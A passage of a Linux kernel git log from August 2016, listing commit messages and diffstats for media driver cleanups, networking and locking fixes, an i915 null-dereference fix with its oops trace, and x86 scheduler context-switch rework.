18:03:56 2016 -0300 [media] media: usb: msi2500: msi2500: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/msi2500/msi2500.c | 1 - 1 file changed, 1 deletion(-) commit 551f9d4655bc2b952c2b00879b706b668bc26816 Author: Wolfram Sang Date: Thu Aug 11 18:03:55 2016 -0300 [media] media: usb: hdpvr: hdpvr-video: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/hdpvr/hdpvr-video.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit a9a5a443d86a7795ad00f74e6715bfca156bbb2d Author: Neil Armstrong Date: Tue Aug 23 13:25:07 2016 +0200 pinctrl: meson-gxbb: add pins for PWM Add support for PWM pins, for EE and AO domains. Signed-off-by: Neil Armstrong Signed-off-by: Linus Walleij drivers/pinctrl/meson/pinctrl-meson-gxbb.c | 79 ++++++++++++++++++++++++++++++ 1 file changed, 79 insertions(+) commit 54c928d335d6822bfe9a8b67850aaaa74d88a769 Author: Andrew F. Davis Date: Tue Aug 23 14:45:15 2016 +0300 dt-bindings: GPIO: Add TPIC2810 binding Add binding for TPIC2810 GPO device. Signed-off-by: Andrew F. Davis Signed-off-by: Roger Quadros Signed-off-by: Linus Walleij Documentation/devicetree/bindings/gpio/gpio-tpic2810.txt | 16 ++++++++++++++++ 1 file changed, 16 insertions(+) commit 2266ffdef5737fdfa96005204fc5606dbd559956 Author: David Howells Date: Wed Aug 24 13:06:14 2016 +0100 rxrpc: Fix conn-based retransmit If a duplicate packet comes in for a call that has just completed on a connection's channel then there will be an oops in the data_ready handler because it tries to examine the connection struct via a call struct (which we don't have - the pointer is unset). Since the connection struct pointer is available to us, go direct instead. Also, the ACK packet to be retransmitted needs three octets of padding between the soft ack list and the ackinfo. Fixes: 18bfeba50dfd0c8ee420396f2570f16a0bdbd7de ("rxrpc: Perform terminal call ACK/ABORT retransmission from conn processor") Signed-off-by: David Howells net/rxrpc/conn_event.c | 1 + net/rxrpc/input.c | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) commit 8f76aa0ebe0b7787afe768d9df80031e832d2520 Author: Chris Wilson Date: Tue Aug 23 10:25:58 2016 +0100 drm/i915/dvo: Remove dangling call to drm_encoder_cleanup() If we hit the error path, we have never called drm_encoder_init() and so have nothing to cleanup. Doing so hits a null dereference: [ 10.066261] BUG: unable to handle kernel NULL pointer dereference at 00000104 [ 10.066273] IP: [] mutex_lock+0xa/0x15 [ 10.066287] *pde = 00000000 [ 10.066295] Oops: 0002 [#1] [ 10.066302] Modules linked in: i915(+) video i2c_algo_bit drm_kms_helper syscopyarea sysfillrect sysimgblt fb_sys_fops drm iTCO_wdt iTCO_vendor_support ppdev evdev snd_intel8x0 snd_ac97_codec ac97_bus psmouse snd_pcm snd_timer snd pcspkr uhci_hcd ehci_pci soundcore sr_mod ehci_hcd serio_raw i2c_i801 usbcore i2c_smbus cdrom lpc_ich mfd_core rng_core e100 mii floppy parport_pc parport acpi_cpufreq button processor usb_common eeprom lm85 hwmon_vid autofs4 [ 10.066378] CPU: 0 PID: 132 Comm: systemd-udevd Not tainted 4.8.0-rc3-00013-gef0e1ea #34 [ 10.066389] Hardware name: MicroLink /D865GLC , BIOS BF86510A.86A.0077.P25.0508040031 08/04/2005 [ 10.066401] task: f62db800 task.stack: f5970000 [ 10.066409] EIP: 0060:[] EFLAGS: 00010286 CPU: 0 [ 10.066417] EIP is at mutex_lock+0xa/0x15 [ 10.066424] EAX: 00000104 EBX: 00000104 ECX: 00000000 EDX: 80000000 [ 10.066432] ESI: 00000000 EDI: 00000104 EBP: f5be8000 ESP: f5971b58 [ 10.066439] DS: 007b ES: 007b FS: 0000 GS: 00e0 SS: 0068 [ 10.066446] CR0: 80050033 CR2: 00000104 CR3: 35945000 CR4: 000006d0 [ 10.066453] Stack: [ 10.066459] f503d740 f824dddf 00000000 f61170c0 f61170c0 f82371ae f850f40e 00000001 [ 10.066476] f61170c0 f5971bcc f5be8000 f9c2d401 00000001 f8236fcc 00000001 00000000 [ 10.066491] f5144014 f5be8104 00000008 f9c5267c 00000007 f61170c0 f5144400 f9c4ff00 [ 10.066507] Call Trace: [ 10.066526] [] ? drm_modeset_lock_all+0x27/0xb3 [drm] [ 10.066545] [] ? drm_encoder_cleanup+0x1a/0x132 [drm] [ 10.066559] [] ? drm_atomic_helper_connector_reset+0x3f/0x5c [drm_kms_helper] [ 10.066644] [] ? intel_dvo_init+0x569/0x788 [i915] [ 10.066663] [] ? drm_encoder_init+0x43/0x20b [drm] [ 10.066734] [] ? intel_modeset_init+0x1436/0x17dd [i915] [ 10.066791] [] ? i915_driver_load+0x85a/0x15d3 [i915] [ 10.066846] [] ? i915_driver_open+0x5/0x5 [i915] [ 10.066857] [] ? firmware_map_add_entry.part.2+0xc/0xc [ 10.066868] [] ? pci_device_probe+0x8e/0x11c [ 10.066878] [] ? driver_probe_device+0x1db/0x62e [ 10.066888] [] ? kernfs_new_node+0x29/0x9c [ 10.066897] [] ? pci_match_device+0xd9/0x161 [ 10.066905] [] ? kernfs_create_dir_ns+0x42/0x88 [ 10.066914] [] ? __driver_attach+0xe6/0x11b [ 10.066924] [] ? kobject_add_internal+0x1bb/0x44f [ 10.066933] [] ? driver_probe_device+0x62e/0x62e [ 10.066941] [] ? bus_for_each_dev+0x46/0x7f [ 10.066950] [] ? driver_attach+0x1a/0x34 [ 10.066958] [] ? driver_probe_device+0x62e/0x62e [ 10.066966] [] ? bus_add_driver+0x217/0x32a [ 10.066975] [] ? 0xf8403000 [ 10.066982] [] ? driver_register+0x5f/0x108 [ 10.066991] [] ? do_one_initcall+0x49/0x1f6 [ 10.067000] [] ? pick_next_task_fair+0x14b/0x2a3 [ 10.067008] [] ? __schedule+0x15c/0x4fe [ 10.067016] [] ? preempt_schedule_common+0x19/0x3c [ 10.067027] [] ? do_init_module+0x17/0x230 [ 10.067035] [] ? _cond_resched+0x12/0x1a [ 10.067044] [] ? kmem_cache_alloc+0x8f/0x11f [ 10.067052] [] ? do_init_module+0x17/0x230 [ 10.067060] [] ? kfree+0x137/0x203 [ 10.067068] [] ? do_init_module+0x76/0x230 [ 10.067078] [] ? load_module+0x2a39/0x333f [ 10.067087] [] ? SyS_finit_module+0x96/0xd5 [ 10.067096] [] ? vm_mmap_pgoff+0x79/0xa0 [ 10.067105] [] ? do_fast_syscall_32+0xb5/0x1b0 [ 10.067114] [] ? sysenter_past_esp+0x47/0x75 [ 10.067121] Code: c8 f7 76 c1 e8 8e cc d2 ff e9 45 fe ff ff 66 90 66 90 66 90 66 90 90 ff 00 7f 05 e8 4e 0c 00 00 c3 53 89 c3 e8 75 ec ff ff 89 d8 08 79 05 e8 fa 0a 00 00 5b c3 53 89 c3 85 c0 74 1b 8b 03 83 [ 10.067180] EIP: [] mutex_lock+0xa/0x15 SS:ESP 0068:f5971b58 [ 10.067190] CR2: 0000000000000104 [ 10.067222] ---[ end trace 049f1f09da45a856 ]--- Reported-by: Meelis Roos Fixes: 580d8ed522e0 ("drm/i915: Give encoders useful names") Reviewed-by: David Weinehall Signed-off-by: Chris Wilson Cc: Ville Syrjälä Cc: drm-intel-fixes@lists.freedesktop.org Signed-off-by: Jani Nikula Link: http://patchwork.freedesktop.org/patch/msgid/20160823092558.14931-1-chris@chris-wilson.co.uk drivers/gpu/drm/i915/intel_dvo.c | 1 - 1 file changed, 1 deletion(-) commit 1e55ef9689598787ed845a9970f238dfd473bf4e Author: Wolfram Sang Date: Thu Aug 11 18:03:54 2016 -0300 [media] media: usb: hackrf: hackrf: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/hackrf/hackrf.c | 1 - 1 file changed, 1 deletion(-) commit de46bfab79a372ccec8d32947b5fab9a2a10e801 Author: Wolfram Sang Date: Thu Aug 11 18:03:53 2016 -0300 [media] media: usb: gspca: konica: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/gspca/konica.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 452b53f7f844d3fe9e9484fa16f7ebbe1e9b8c27 Author: Wolfram Sang Date: Thu Aug 11 18:03:52 2016 -0300 [media] media: usb: gspca: gspca: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/gspca/gspca.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 60e3699946481eb10d7d8be1f28029649fc2c208 Author: Wolfram Sang Date: Thu Aug 11 18:03:51 2016 -0300 [media] media: usb: gspca: benq: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/gspca/benq.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit ffcc82d8f56ec10caaaf9dd21aa3e275d7944e9d Author: Wolfram Sang Date: Thu Aug 11 18:03:50 2016 -0300 [media] media: usb: em28xx: em28xx-core: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/em28xx/em28xx-core.c | 1 - 1 file changed, 1 deletion(-) commit 6dabae400b7fed5cbe50fce6fbe30f086182ff6b Author: Wolfram Sang Date: Thu Aug 11 18:03:49 2016 -0300 [media] media: usb: em28xx: em28xx-audio: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/em28xx/em28xx-audio.c | 1 - 1 file changed, 1 deletion(-) commit abbde78f1d8218e343158a0d60da1eb7301c54e3 Author: Wolfram Sang Date: Thu Aug 11 18:03:48 2016 -0300 [media] media: usb: dvb-usb: dib0700_core: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/dvb-usb/dib0700_core.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 95bc112d795a2d118a2f08ce4034b19a60b62f3e Author: Wolfram Sang Date: Thu Aug 11 18:03:47 2016 -0300 [media] media: usb: cx231xx: cx231xx-vbi: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/cx231xx/cx231xx-vbi.c | 2 -- 1 file changed, 2 deletions(-) commit 0eca51b18339c94c6b6342e2b80d28cb33aaf342 Author: Wolfram Sang Date: Thu Aug 11 18:03:46 2016 -0300 [media] media: usb: cx231xx: cx231xx-core: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/cx231xx/cx231xx-core.c | 4 ---- 1 file changed, 4 deletions(-) commit c86bc45d4185cf10d237956f8db5564ac160feb3 Author: Wolfram Sang Date: Thu Aug 11 18:03:45 2016 -0300 [media] media: usb: cx231xx: cx231xx-audio: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/cx231xx/cx231xx-audio.c | 2 -- 1 file changed, 2 deletions(-) commit fa460caf16805711a12c9897290962fed2b0ede9 Author: Wolfram Sang Date: Thu Aug 11 18:03:44 2016 -0300 [media] media: usb: cpia2: cpia2_usb: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/cpia2/cpia2_usb.c | 1 - 1 file changed, 1 deletion(-) commit 26632658e87d29816bb443b2bebba1c995bbf910 Author: Wolfram Sang Date: Thu Aug 11 18:03:43 2016 -0300 [media] media: usb: au0828: au0828-video: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/au0828/au0828-video.c | 1 - 1 file changed, 1 deletion(-) commit e291ec7b53556af8aedae6462b6fe00fbfea8537 Author: Wolfram Sang Date: Thu Aug 11 18:03:42 2016 -0300 [media] media: usb: as102: as102_usb_drv: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/as102/as102_usb_drv.c | 2 -- 1 file changed, 2 deletions(-) commit 80ae31974d31a3b8a8cc4cd0f12d47413d15aa5c Author: Wolfram Sang Date: Thu Aug 11 18:03:41 2016 -0300 [media] media: usb: airspy: airspy: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/usb/airspy/airspy.c | 1 - 1 file changed, 1 deletion(-) commit cd859c19d508e55a8f30c4db9551c6f8d634d9ef Author: Wolfram Sang Date: Thu Aug 11 18:03:40 2016 -0300 [media] media: rc: redrat3: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/rc/redrat3.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 15241919107ca2dee1edcd4d9ac3110205e580e7 Author: Wolfram Sang Date: Thu Aug 11 18:03:39 2016 -0300 [media] media: rc: imon: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/rc/imon.c | 13 +++---------- 1 file changed, 3 insertions(+), 10 deletions(-) commit 07d0320a86d63937ac13ab81b38949456ac2be0a Author: Wolfram Sang Date: Thu Aug 11 18:03:38 2016 -0300 [media] media: radio: si470x: radio-si470x-usb: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/radio/si470x/radio-si470x-usb.c | 1 - 1 file changed, 1 deletion(-) commit 20ff0166a52166c8a24eab54dac2523cf6010a6b Author: Wolfram Sang Date: Thu Aug 11 18:03:37 2016 -0300 [media] media: dvb-frontends: rtl2832_sdr: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/dvb-frontends/rtl2832_sdr.c | 1 - 1 file changed, 1 deletion(-) commit 4319233d79083ce8802f6af280954062c6e2e0fb Author: Julia Lawall Date: Tue Aug 9 13:03:55 2016 -0300 [media] mtk-vcodec: constify venc_common_if structures The venc_common_if structures are never modified, so declare them as const. Done with the help of Coccinelle. Signed-off-by: Julia Lawall Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/mtk-vcodec/mtk_vcodec_drv.h | 2 +- drivers/media/platform/mtk-vcodec/venc/venc_h264_if.c | 6 +++--- drivers/media/platform/mtk-vcodec/venc/venc_vp8_if.c | 6 +++--- drivers/media/platform/mtk-vcodec/venc_drv_if.c | 4 ++-- 4 files changed, 9 insertions(+), 9 deletions(-) commit 95ad747e925299690c63bcc96c3f9bca640865bd Author: Ezequiel Garcia Date: Thu Aug 4 19:00:22 2016 -0300 [media] media: tw686x: Rework initial hardware configuration Currently, the hardware is not given a complete initial configuration. In order to fix this, this rather large commit reworks standard, frame format and input configuration. While at it, we introduce proper functions to configure each parameter, and as a result the code is a bit cleaner. Reported-by: Hans Verkuil Signed-off-by: Ezequiel Garcia Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/pci/tw686x/tw686x-video.c | 139 +++++++++++++++++++------------- 1 file changed, 81 insertions(+), 58 deletions(-) commit 926605d05c9d5f9d43e17f0fc3dc906473325755 Author: Hans Verkuil Date: Thu Aug 4 06:15:41 2016 -0300 [media] pixfmt-007.rst: fix copy-and-paste error in SMPTE-240M doc Instead of referring to Y', Cb and Cr, it referred to Yc', Cbc and Crc, which were accidentally copied from the BT.2020 constant luminance text. Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/pixfmt-007.rst | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 45d130d267d2ac7983ea43d26f100ae3916f003e Author: Hans Verkuil Date: Thu Aug 4 06:13:55 2016 -0300 [media] pixfmt-007.rst: fix a messed up note in the DCI-P3 doc The text of the note included text that shouldn't have been part of the note. Move that out of the note into the proper place. [mchehab@s-opensource.com: fix a trivial merge conflict] Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/pixfmt-007.rst | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit dda3aeaa16434482c2aec03c54262dd2bc9c357b Author: Hans Verkuil Date: Thu Aug 4 06:09:03 2016 -0300 [media] pixfmt.rst: drop V4L2_YCBCR_ENC_SYCC from the documentation The V4L2_YCBCR_ENC_SYCC encoding is identical to V4L2_YCBCR_ENC_601. Remove V4L2_YCBCR_ENC_SYCC from the documentation since it should not be used. Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/pixfmt-006.rst | 10 ++-------- Documentation/media/uapi/v4l/pixfmt-007.rst | 12 ++++-------- 2 files changed, 6 insertions(+), 16 deletions(-) commit fd61576fdda88c9677f9ea62e6f32997ce39daea Author: Wei Yongjun Date: Tue Aug 23 15:16:42 2016 +0000 ASoC: samsung: i2s: Add missing clk_disable_unprepare() on error in samsung_i2s_probe() Add the missing clk_disable_unprepare() before return from samsung_i2s_probe() in the error handling case. Signed-off-by: Wei Yongjun Acked-by: Sylwester Nawrocki Signed-off-by: Mark Brown sound/soc/samsung/i2s.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit adca8c8e251fdbdb6b28e3ef7a5ca24b597b82d8 Author: Hans Verkuil Date: Thu Aug 4 06:01:48 2016 -0300 [media] videodev2.h: put V4L2_YCBCR_ENC_SYCC under #ifndef __KERNEL__ This define is a duplicate of V4L2_YCBCR_ENC_601. So mark it as 'should not be used' and put it under #ifndef __KERNEL__ to prevent drivers from referring to it. Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab include/uapi/linux/videodev2.h | 14 +++++++++----- 1 file changed, 9 insertions(+), 5 deletions(-) commit 568852b7002414c81084f07c7e39e897229d3b6f Author: Wei Yongjun Date: Tue Aug 23 15:03:48 2016 +0000 spi: spi-cavium-thunderx: Add missing clk_disable_unprepare() Add the missing clk_disable_unprepare() before return in the probe error handling case and remove. Signed-off-by: Wei Yongjun Signed-off-by: Mark Brown drivers/spi/spi-cavium-thunderx.c | 2 ++ 1 file changed, 2 insertions(+) commit 9ddbf68d264a8c2578dcb08d550dd00a273e12fa Author: Hans Verkuil Date: Thu Aug 4 05:59:47 2016 -0300 [media] v4l2-tpg-core: drop SYCC, use higher precision 601 conversion matrix The SYCC Y'CbCr encoding is identical to the 601 encoding. Since the SYCC define is about to be removed for use in the kernel we need to drop it in the TPG code as well. This patch also adds a 4th decimal to the 601 conversion matrix. That was specified by the sYCC spec and it makes sense to use this across the board. [mchehab@s-opensource.com: fix conflicts with LaTeX math expression patch] Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/pixfmt-007.rst | 30 +++++++++++++-------------- drivers/media/common/v4l2-tpg/v4l2-tpg-core.c | 14 ++++++------- 2 files changed, 21 insertions(+), 23 deletions(-) commit 1a9d759331b832c3d667d9473661497faada6df8 Author: Vinay Simha BN Date: Sun Jul 31 20:45:22 2016 +0530 drm/dsi: Implement DCS set/get display brightness Provide a small convenience wrapper that set/get the display brightness. Cc: John Stultz Cc: Sumit Semwal Cc: Archit Taneja Cc: Rob Clark Cc: Jani Nikula Cc: Thierry Reding Cc: Emil Velikov Signed-off-by: Vinay Simha BN Reviewed-by: Emil Velikov Signed-off-by: Thierry Reding drivers/gpu/drm/drm_mipi_dsi.c | 49 ++++++++++++++++++++++++++++++++++++++++++ include/drm/drm_mipi_dsi.h | 4 ++++ 2 files changed, 53 insertions(+) commit bbdcf516a6187d58639084f1b9f92cde50cc07ad Author: Thierry Reding Date: Wed Aug 24 13:28:39 2016 +0200 drm/dsi: Order DCS helpers by command code Most of these helpers had been introduced in the correct order, but some were simply appended, which wasn't detected when they were applied. Signed-off-by: Thierry Reding drivers/gpu/drm/drm_mipi_dsi.c | 34 +++++++++++++++++----------------- include/drm/drm_mipi_dsi.h | 2 +- 2 files changed, 18 insertions(+), 18 deletions(-) commit 1ee6dd5a918bd98dea20a2847f1ca15964dca952 Author: Mauro Carvalho Chehab Date: Wed Aug 24 08:21:38 2016 -0300 [media] ad5820: fix one smatch warning drivers/media/i2c/ad5820.c:61:24: error: dubious one-bit signed bitfield Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/ad5820.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d0a3a275e5676c547276f322eca4a789a570af19 Author: Hans Verkuil Date: Thu Aug 4 05:57:45 2016 -0300 [media] vivid: don't mention the obsolete sYCC Y'CbCr encoding This encoding is identical to the 601 encoding. The old duplicate SYCC define is about to be removed for use in the kernel, so remove its use in vivid first. Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab drivers/media/platform/vivid/vivid-ctrls.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 7e0739cd9c40752fc9d31cac86e3a31d5537be18 Author: Hans Verkuil Date: Thu Aug 4 05:51:12 2016 -0300 [media] videodev2.h: fix sYCC/AdobeYCC default quantization range The default quantization range of the Y'CbCr encodings of sRGB and AdobeRGB are full range instead of limited range according to the corresponding standards. Fix this in the V4L2_MAP_QUANTIZATION_DEFAULT macro. Signed-off-by: Hans Verkuil Signed-off-by: Mauro Carvalho Chehab Documentation/media/uapi/v4l/pixfmt-007.rst | 4 ++-- include/uapi/linux/videodev2.h | 7 ++++--- 2 files changed, 6 insertions(+), 5 deletions(-) commit 35db57bbc4b7ab810bba6e6d6954a0faf5a842cf Author: Florian Westphal Date: Tue Aug 23 16:00:12 2016 +0200 xfrm: state: remove per-netns gc task After commit 5b8ef3415a21f173 ("xfrm: Remove ancient sleeping when the SA is in acquire state") gc does not need any per-netns data anymore. As far as gc is concerned all state structs are the same, so we can use a global work struct for it. Signed-off-by: Florian Westphal Signed-off-by: Steffen Klassert include/net/netns/xfrm.h | 2 -- net/xfrm/xfrm_state.c | 18 +++++++++--------- 2 files changed, 9 insertions(+), 11 deletions(-) commit 4141b36ab16d7a66b4cf712f2d21eba61c5927e5 Author: Steffen Klassert Date: Wed Aug 24 13:08:40 2016 +0200 xfrm: Fix xfrm_policy_lock imbalance An earlier patch accidentally replaced a write_lock_bh with a spin_unlock_bh. Fix this by using spin_lock_bh instead. Fixes: 9d0380df6217 ("xfrm: policy: convert policy_lock to spinlock") Signed-off-by: Steffen Klassert net/xfrm/xfrm_policy.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 20353335099b1b7cba63002fd53da5725a1fadba Author: Daniel Vetter Date: Wed Aug 24 12:19:15 2016 +0200 drm/doc: Fix vga_switcheroo xref Reported-by: Chris Wilson Cc: Chris Wilson Fixes: b754b35b089d ("vgaarbiter: rst-ifiy and polish kerneldoc") Reviewed-by: Chris Wilson Signed-off-by: Daniel Vetter Link: http://patchwork.freedesktop.org/patch/msgid/20160824101916.30125-1-daniel.vetter@ffwll.ch Documentation/gpu/vga-switcheroo.rst | 2 ++ 1 file changed, 2 insertions(+) commit bee3d51156113363e952674504833b4bc92cf15e Author: Pavel Machek Date: Fri Aug 5 07:26:11 2016 -0300 [media] ad5820: Add driver for auto-focus coil This adds support for AD5820 autofocus coil, found for example in Nokia N900 smartphone. Signed-off-by: Pavel Machek Acked-by: Pali Rohár Signed-off-by: Sakari Ailus Signed-off-by: Mauro Carvalho Chehab drivers/media/i2c/Kconfig | 7 + drivers/media/i2c/Makefile | 1 + drivers/media/i2c/ad5820.c | 380 +++++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 388 insertions(+) commit 9887c8642d40f517cbf78e324b252305f1ba4b05 Author: Pavel Machek Date: Tue Jun 7 04:10:04 2016 -0300 [media] dt/bindings: device tree description for AD5820 camera auto-focus coil Add documentation for ad5820 device tree binding. Signed-off-by: Pavel Machek Acked-by: Rob Herring Signed-off-by: Sakari Ailus Signed-off-by: Mauro Carvalho Chehab .../devicetree/bindings/media/i2c/ad5820.txt | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) commit 01175255fd8e3e993353a779f819ec8c0c59137e Author: Brian Gerst Date: Sat Aug 13 12:38:22 2016 -0400 sched: Remove __schedule() non-standard frame annotation Now that the x86 switch_to() uses the standard C calling convention, the STACK_FRAME_NON_STANDARD() annotation is no longer needed. Suggested-by: Josh Poimboeuf Signed-off-by: Brian Gerst Reviewed-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1471106302-10159-8-git-send-email-brgerst@gmail.com Signed-off-by: Ingo Molnar kernel/sched/core.c | 1 - 1 file changed, 1 deletion(-) commit ffcb043ba524d3fbd979a9dac2c9ce8ad352000d Author: Brian Gerst Date: Sat Aug 13 12:38:21 2016 -0400 sched/x86: Fix thread_saved_pc() thread_saved_pc() was using a completely bogus method to get the return address. Since switch_to() was previously inlined, there was no sane way to know where on the stack the return address was stored. Now with the frame of a sleeping thread well defined, this can be implemented correctly. Signed-off-by: Brian Gerst Reviewed-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1471106302-10159-7-git-send-email-brgerst@gmail.com Signed-off-by: Ingo Molnar arch/x86/include/asm/processor.h | 10 ++-------- arch/x86/kernel/process.c | 11 +++++++++++ arch/x86/kernel/process_32.c | 8 -------- 3 files changed, 13 insertions(+), 16 deletions(-) commit 616d24835eeafa8ef3466479db028abfdfc77531 Author: Brian Gerst Date: Sat Aug 13 12:38:20 2016 -0400 sched/x86: Pass kernel thread parameters in 'struct fork_frame' Instead of setting up a fake pt_regs context, put the kernel thread function pointer and arg into the unused callee-restored registers of 'struct fork_frame'. Signed-off-by: Brian Gerst Reviewed-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1471106302-10159-6-git-send-email-brgerst@gmail.com Signed-off-by: Ingo Molnar arch/x86/entry/entry_32.S | 31 +++++++++++++++---------------- arch/x86/entry/entry_64.S | 37 +++++++++++++++++-------------------- arch/x86/include/asm/switch_to.h | 2 ++ arch/x86/kernel/process_32.c | 18 ++++-------------- arch/x86/kernel/process_64.c | 12 +++--------- 5 files changed, 41 insertions(+), 59 deletions(-) commit 0100301bfdf56a2a370c7157b5ab0fbf9313e1cd Author: Brian Gerst Date: Sat Aug 13 12:38:19 2016 -0400 sched/x86: Rewrite the switch_to() code Move the low-level context switch code to an out-of-line asm stub instead of using complex inline asm. This allows constructing a new stack frame for the child process to make it seamlessly flow to ret_from_fork without an extra test and branch in __switch_to(). It also improves code generation for __schedule() by using the C calling convention instead of clobbering all registers. Signed-off-by: Brian Gerst Reviewed-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1471106302-10159-5-git-send-email-brgerst@gmail.com Signed-off-by: Ingo Molnar arch/x86/entry/entry_32.S | 37 ++++++++++ arch/x86/entry/entry_64.S | 41 ++++++++++- arch/x86/include/asm/processor.h | 3 - arch/x86/include/asm/switch_to.h | 139 ++++++------------------------------- arch/x86/include/asm/thread_info.h | 2 - arch/x86/kernel/asm-offsets.c | 6 ++ arch/x86/kernel/asm-offsets_32.c | 5 ++ arch/x86/kernel/asm-offsets_64.c | 5 ++ arch/x86/kernel/process_32.c | 9 ++- arch/x86/kernel/process_64.c | 9 ++- arch/x86/kernel/smpboot.c | 1 - 11 files changed, 125 insertions(+), 132 deletions(-) commit 7b32aeadbc95d4a41402c1c0da6aa3ab51af4c10 Author: Brian Gerst Date: Sat Aug 13 12:38:18 2016 -0400 sched/x86: Add 'struct inactive_task_frame' to better document the sleeping task stack frame Add 'struct inactive_task_frame', which defines the layout of the stack for a sleeping process. For now, the only defined field is the BP register (frame pointer). Signed-off-by: Brian Gerst Reviewed-by: Josh Poimboeuf Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas 